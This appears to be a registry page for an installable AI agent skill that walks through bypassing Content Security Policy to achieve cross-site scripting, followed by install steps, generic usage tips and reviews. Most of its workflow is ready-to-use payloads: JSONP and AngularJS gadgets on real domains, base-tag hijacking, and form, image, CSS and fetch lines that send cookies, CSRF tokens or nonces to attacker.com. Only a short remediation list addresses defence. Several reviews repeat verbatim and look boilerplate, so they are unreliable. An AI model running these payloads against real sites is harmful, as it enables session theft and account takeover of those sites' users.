performing-content-security-policy-bypass

mukul975/Anthropic-Cybersecurity-Skills · updated May 25, 2026

MDX-style export adds YAML metadata + attribution linking explainx.ai and this canonical listing URL.

$npx skills install mukul975/Anthropic-Cybersecurity-Skills/performing-content-security-policy-bypass
0 commentsdiscussion
summary

Analyze and bypass Content Security Policy implementations to achieve cross-site scripting by exploiting misconfigurations, JSONP endpoints, unsafe directives, and policy injection techniques.

skill.md
name
performing-content-security-policy-bypass
description
Analyze and bypass Content Security Policy implementations to achieve cross-site scripting by exploiting misconfigurations, JSONP endpoints, unsafe directives, and policy injection techniques.
domain
cybersecurity
subdomain
web-application-security
tags
- csp-bypass - content-security-policy - xss - script-injection - nonce-bypass - jsonp - policy-misconfiguration
version
'1.0'
author
mahipal
license
Apache-2.0
nist_csf
- PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01

Performing Content Security Policy Bypass

When to Use

  • When XSS is found but execution is blocked by Content Security Policy
  • During web application security assessments to evaluate CSP effectiveness
  • When testing the robustness of CSP against known bypass techniques
  • During bug bounty hunting where CSP prevents direct XSS exploitation
  • When auditing CSP header configuration for security weaknesses

Prerequisites

  • Burp Suite for intercepting responses and analyzing CSP headers
  • CSP Evaluator (Google) for automated policy analysis
  • Understanding of CSP directives (script-src, default-src, style-src, etc.)
  • Knowledge of CSP bypass techniques (JSONP, base-uri, object-src)
  • Browser developer tools for CSP violation monitoring
  • Collection of whitelisted domain JSONP endpoints

Workflow

Step 1 — Analyze the CSP Policy

# Extract CSP from response headers
curl -sI http://target.com | grep -i "content-security-policy"

# Check for CSP in meta tags
curl -s http://target.com | grep -i "content-security-policy"

# Analyze CSP with Google CSP Evaluator
# Visit: https://csp-evaluator.withgoogle.com/
# Paste the CSP policy for automated analysis

# Check for report-only mode (not enforced)
curl -sI http://target.com | grep -i "content-security-policy-report-only"
# If only report-only exists, CSP is NOT enforced - XSS works directly

# Parse directive values
# Example CSP:
# script-src 'self' 'unsafe-inline' https://cdn.example.com;
# default-src 'self'; style-src 'self' 'unsafe-inline';
# img-src *; connect-src 'self'

Step 2 — Exploit unsafe-inline and unsafe-eval

# If script-src includes 'unsafe-inline':
# CSP is effectively bypassed for inline scripts
<script>alert(document.domain)</script>
<img src=x onerror="alert(1)">

# If script-src includes 'unsafe-eval':
# eval() and related functions work
<script>eval('alert(1)')</script>
<script>setTimeout('alert(1)',0)</script>
<script>new Function('alert(1)')()</script>

# If 'unsafe-inline' with nonce:
# unsafe-inline is ignored when nonce is present (CSP3)
# Focus on nonce leaking instead

Step 3 — Exploit Whitelisted Domain JSONP Endpoints

# If CSP whitelists a domain with JSONP endpoints:
# script-src 'self' https://accounts.google.com

# Find JSONP endpoints on whitelisted domains
# Google:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>

# Common JSONP endpoints:
# https://www.google.com/complete/search?client=chrome&q=test&callback=alert(1)//
# https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js

# If AngularJS is whitelisted (CDN):
# script-src includes cdnjs.cloudflare.com or ajax.googleapis.com
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>

# Exploit JSONP on whitelisted APIs
<script src="https://whitelisted-api.com/endpoint?callback=alert(1)//">
</script>

Step 4 — Exploit base-uri and Form Action Bypasses

# If base-uri is not restricted:
# Inject <base> tag to redirect relative script loads
<base href="https://attacker.com/">
# All relative script src will load from attacker.com

# If form-action is not restricted:
# Steal data via form submission
<form action="https://attacker.com/steal" method="POST">
  <input name="csrf_token" value="">
</form>
<script>document.forms[0].submit()</script>

# If object-src is not restricted:
# Use Flash or plugin-based XSS
<object data="https://attacker.com/exploit.swf"></object>
<embed src="https://attacker.com/exploit.swf">

Step 5 — Exploit Nonce and Hash Bypasses

# Nonce leaking via CSS attribute selectors
# If attacker can inject HTML (but not script due to CSP nonce):
<style>
  script[nonce^="a"] { background: url("https://attacker.com/leak?nonce=a"); }
  script[nonce^="b"] { background: url("https://attacker.com/leak?nonce=b"); }
</style>
# Brute-force each character position to leak the nonce

# Nonce reuse detection
# If the same nonce is used across multiple pages or requests:
# Capture nonce from one page, use it to inject script on another

# DOM clobbering to override nonce checking
<form id="csp"><input name="nonce" value="attacker-controlled"></form>

# Script gadgets in whitelisted libraries
# If a whitelisted JS library has a gadget that creates scripts:
# jQuery: $.getScript(), $.globalEval()
# Lodash: _.template()
# DOMPurify bypass via prototype pollution

# Policy injection via reflected parameters
# If CSP header reflects user input:
# Inject: ;script-src 'unsafe-inline'
# Or inject: ;report-uri /csp-report;script-src-elem 'unsafe-inline'

Step 6 — Exploit Data Exfiltration Without script-src

# Even without script execution, data exfiltration is possible:

# Via img-src (if allows external):
<img src="https://attacker.com/steal?data=SENSITIVE_DATA">

# Via CSS injection (if style-src allows unsafe-inline):
<style>
input[value^="a"] { background: url("https://attacker.com/?char=a"); }
input[value^="b"] { background: url("https://attacker.com/?char=b"); }
</style>

# Via connect-src (if allows external):
<script nonce="valid">
  fetch('https://attacker.com/steal?data=' + document.cookie);
</script>

# Via DNS prefetch:
<link rel="dns-prefetch" href="//data.attacker.com">

# Via WebRTC (if not blocked):
# WebRTC can leak data through STUN/TURN servers

Key Concepts

ConceptDescription
unsafe-inlineCSP directive allowing inline script execution, defeating XSS protection
Nonce-based CSPUsing random nonces to allow specific scripts while blocking injected ones
JSONP BypassExploiting JSONP endpoints on whitelisted domains to execute attacker callbacks
Policy InjectionInjecting CSP directives through reflected user input in headers
base-uri HijackingRedirecting relative script loads by injecting a base element
Script GadgetsLegitimate library features that can be abused to bypass CSP
CSP Report-OnlyNon-enforcing CSP mode that only logs violations without blocking

Tools & Systems

ToolPurpose
CSP EvaluatorGoogle tool for analyzing CSP policy weaknesses
Burp SuiteHTTP proxy for CSP header analysis and bypass testing
CSP ScannerBrowser extension for identifying CSP bypass opportunities
csp-bypassCurated list of CSP bypass techniques and payloads
RetireJSIdentify vulnerable JavaScript libraries on whitelisted CDNs
DOM InvaderBurp tool for testing CSP bypasses through DOM manipulation

Common Scenarios

  1. JSONP Callback XSS — Exploit JSONP endpoints on whitelisted CDN domains to execute JavaScript callbacks containing XSS payloads
  2. AngularJS Sandbox Escape — Load AngularJS from whitelisted CDN and use template injection to bypass CSP script restrictions
  3. Nonce Leakage — Extract CSP nonce values through CSS injection or DOM clobbering to inject scripts with valid nonces
  4. Base URI Hijacking — Inject base element to redirect all relative script loads to attacker-controlled server
  5. Report-Only Exploitation — Identify CSP in report-only mode where violations are logged but not blocked, enabling direct XSS

Output Format

## CSP Bypass Assessment Report
- **Target**: http://target.com
- **CSP Mode**: Enforced
- **Policy**: script-src 'self' https://cdn.jsdelivr.net; default-src 'self'

### CSP Analysis
| Directive | Value | Risk |
|-----------|-------|------|
| script-src | 'self' cdn.jsdelivr.net | JSONP/Library bypass possible |
| default-src | 'self' | Moderate |
| base-uri | Not set | base-uri hijacking possible |
| object-src | Not set (falls back to default-src) | Low |

### Bypass Techniques Found
| # | Technique | Payload | Impact |
|---|-----------|---------|--------|
| 1 | AngularJS via CDN | Load angular.min.js + template injection | Full XSS |
| 2 | Missing base-uri | <base href="https://evil.com/"> | Script hijack |

### Remediation
- Remove whitelisted CDN domains; use nonce-based or hash-based CSP
- Add base-uri 'self' to prevent base element injection
- Add object-src 'none' to block plugin-based execution
- Migrate from unsafe-inline to strict nonce-based policy
- Implement strict-dynamic for modern CSP3 browsers
how to use performing-content-security-policy-bypass

How to use performing-content-security-policy-bypass on Cursor

AI-first code editor with Composer

1

Prerequisites

Before installing skills in Cursor, ensure your development environment meets these requirements:

  • Cursor installed and configured on your development machine
  • Node.js version 16.0+ with npm package manager (verify with node --version)
  • Active project directory or workspace where you want to add performing-content-security-policy-bypass
2

Execute installation command

Execute the skills CLI command in your project's root directory to begin installation:

$npx skills install mukul975/Anthropic-Cybersecurity-Skills/performing-content-security-policy-bypass

The skills CLI fetches performing-content-security-policy-bypass from GitHub repository mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.

3

Select Cursor when prompted

The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:

◆ Which agents do you want to install to?
│ ── Universal (.agents/skills) ── always included ────
│ • Amp
│ • Antigravity
│ • Cline
│ • Codex
│ ●Cursor(selected)
│ • Cursor
│ • Windsurf
4

Verify installation

Confirm successful installation by checking the skill directory location:

.cursor/skills/performing-content-security-policy-bypass

Reload or restart Cursor to activate performing-content-security-policy-bypass. Access the skill through slash commands (e.g., /performing-content-security-policy-bypass) or your agent's skill management interface.

Security & Verification Notice

We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.

Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.

List & Monetize Your Skill

Submit your Claude Code skill and start earning

GET_STARTED →

Use Cases

Task Automation & Efficiency

Automate repetitive workflows and reduce manual effort

Example

Generate reports, summarize documents, draft communications

Save 3-5 hours per week on routine tasks

Knowledge Enhancement

Learn new skills, understand complex topics, get expert guidance

Example

Explain concepts, provide examples, suggest learning resources

Accelerate learning and skill development by 2x

Quality Improvement

Enhance output quality through reviews, suggestions, and refinements

Example

Review drafts, suggest improvements, catch errors

Improve work quality by 30-40% with less effort

Implementation Guide

Prerequisites

  • Claude Desktop or compatible AI client with skill support
  • Clear understanding of task or problem to solve
  • Willingness to iterate and refine outputs

Time Estimate

15-45 minutes depending on use case complexity

Installation Steps

  1. 1.Install skill using provided installation command
  2. 2.Test with simple use case relevant to your work
  3. 3.Evaluate output quality and relevance
  4. 4.Iterate on prompts to improve results
  5. 5.Integrate into regular workflow if valuable

Common Pitfalls

  • Expecting perfect results without iteration
  • Not providing enough context in prompts
  • Using skill for tasks outside its intended scope
  • Accepting outputs without review and validation

Best Practices

✓ Do

  • +Start with clear, specific prompts
  • +Provide relevant context and constraints
  • +Review and refine all outputs before using
  • +Iterate to improve output quality
  • +Document successful prompt patterns

✗ Don't

  • Don't use without understanding skill limitations
  • Don't skip validation of outputs
  • Don't share sensitive information in prompts
  • Don't expect skill to replace human judgment

💡 Pro Tips

  • Be specific about desired format and style
  • Ask for multiple options to choose from
  • Request explanations to understand reasoning
  • Combine AI efficiency with human expertise

When to Use This

✓ Use When

Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.

✗ Avoid When

Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.

Learning Path

  1. 1Familiarize yourself with skill capabilities and limitations
  2. 2Start with low-risk, non-critical tasks
  3. 3Progress to more complex and valuable use cases
  4. 4Build expertise through regular use and experimentation

Discussion

Product Hunt–style comments (not star reviews)
  • No comments yet — start the thread.
general reviews

Ratings

4.727 reviews
  • Sakura Gill· Dec 12, 2024

    Solid pick for teams standardizing on skills: performing-content-security-policy-bypass is focused, and the summary matches what you get after install.

  • Chaitanya Patil· Dec 4, 2024

    performing-content-security-policy-bypass reduced setup friction for our internal harness; good balance of opinion and flexibility.

  • Piyush G· Nov 23, 2024

    I recommend performing-content-security-policy-bypass for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.

  • Sakura Rao· Nov 3, 2024

    We added performing-content-security-policy-bypass from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.

  • Alexander Chawla· Oct 22, 2024

    performing-content-security-policy-bypass fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.

  • Shikha Mishra· Oct 14, 2024

    Useful defaults in performing-content-security-policy-bypass — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.

  • Yash Thakker· Sep 5, 2024

    performing-content-security-policy-bypass has been reliable in day-to-day use. Documentation quality is above average for community skills.

  • Benjamin Ndlovu· Sep 5, 2024

    Solid pick for teams standardizing on skills: performing-content-security-policy-bypass is focused, and the summary matches what you get after install.

  • Dhruvi Jain· Aug 24, 2024

    Solid pick for teams standardizing on skills: performing-content-security-policy-bypass is focused, and the summary matches what you get after install.

  • Isabella Shah· Aug 24, 2024

    performing-content-security-policy-bypass has been reliable in day-to-day use. Documentation quality is above average for community skills.

showing 1-10 of 27

1 / 3